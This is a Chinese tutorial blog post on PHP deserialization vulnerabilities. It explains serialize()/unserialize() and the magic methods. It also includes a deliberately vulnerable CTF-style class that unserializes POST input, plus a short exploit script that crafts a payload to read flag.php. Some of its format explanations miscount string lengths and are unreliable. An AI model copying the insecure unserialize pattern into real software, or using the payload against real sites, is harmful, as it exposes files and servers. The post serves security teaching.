欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

php反序列化漏洞

程序员文章站 2022-03-10 18:44:20
...

php反序列化漏洞

序列化与反序列化

序列化:把对象转换为字节序列,用于保存

反序列化:把字节序列恢复为对象的过程

php反序列化漏洞

 

  1. 转换成统一的格式便于传输

  2. 保留对象的状态以及相关的描述信息

  3. 序列化机制的核心作用就是对象状态的保存与重建

php反序列化漏洞

反序列化本身不是漏洞,但是反序列化的参数可控就有可能导致漏洞

 

0x01  php的序列化与反序列化

 

Part 1 : serialize() 序列化

serialize 函数用于序列化数组或对象,并返回一个字符串。

简单来说,序列化就是把东西摆放整齐,比如:


<?php
$sites = array('a', 'bb', 'ccc');
$serialized_data = serialize($sites);
echo  $serialized_data;
?>

输出结果为:

php反序列化漏洞

a - array

b - boolean

d - double

i - integer

o - common object

r - reference

s - string

C - custom object

O - class

N - null

R - pointer reference

U - unicode string

 

a:3 有三个数组

i:0 第一个数组,s:1:"a",表示第一个数组是字符,1表示有两个字符,为"a"

i:1 第二个数组,s:2:"bb",表示第二个数组是字符,2表示有三个字符,为"bb"

i:2 第三个数组,s:3:"ccc",表示第三个数组是字符,3表示有三个字符,为"ccc"

 

放入对象也是类似的。

<?php

class name {

    var $test1;

    var $test2;

}

$test3 = new name;

$test3->test1 = 'hello';

$test3->test2 = '_world';

echo serialize($test3); 

输出结果:

php反序列化漏洞

 O:4 指Object(对象) 4个字符

"name":2  指对象属性个数为2

 {}  中为属性字符数:属性值 

 

Part 2 : unserialize() 反序列化

unserialize 函数用于反序列化生成字符串。

比如:

<?php

$sites = array('a', 'bb', 'ccc');

$serialized_data = serialize($sites);

$unserialized_data = unserialize($serialized_data);

print_r($unserialized_data);

?>

输出结果:

Array

(

    [0] =>  a

    [1] =>  bb

    [2] =>  ccc

)

这就是 PHP 的反序列化,返回原始的结构。

 

0x02反序列化漏洞

 

反序列化漏洞相关的,危险的 PHP 魔法函数,两个下划线开头。

__construct():当一个类被创建时自动调用

__destruct():当一个类被销毁时自动调用

__tostring():当把一个类当作字符串使用时自动调用

__wakeup():当调用unserialize()函数时自动调用

__sleep():当调用serialize()函数时自动调用

__get():当获得一个类的成员变量时自动调用

__set():当设置一个类的成员变量时自动调用

__invoke():当把一个类当作函数使用时自动调用

__call():当要调用的方法不存在或权限不足时自动调用

unserialize() 反序列化之后,会自动调用__ wakeup() ,因此最理想的情况就是一些漏洞/危害代码在 __wakeup()  中,从而当我们控制序列化字符串时可以去直接触发它们。

 

看一个简单的例子
 

<?php

// flag is in flag.php

class popdemo
{
    private $filename = 'demo.php';

    public function __wakeup()
    {
        // TODO: Implement __wakeup() method.

        $this->show($this->filename);
    }

    public function show($filename)
    {
        show_source($filename);
    }

}

unserialize($_POST['a']);//调用__wakeup()

exp:(漏洞利用代码)

<?php

class popdemo

{

private $filename = "flag.php";

}

$p = new popdemo();

var_dump(urlencode(serialize($p)));

运行之后得到flag.php

php反序列化漏洞

 

更多信息安全教程(upload-labs靶场笔记  SQL注入 新手向入门系列教程)

尽在蝰蛇安全实验室(微信公众号)呦

我们专注于打造清晰准确 新手友好的信息安全公众号

期待您的关注与支持

php反序列化漏洞

相关标签: 信息安全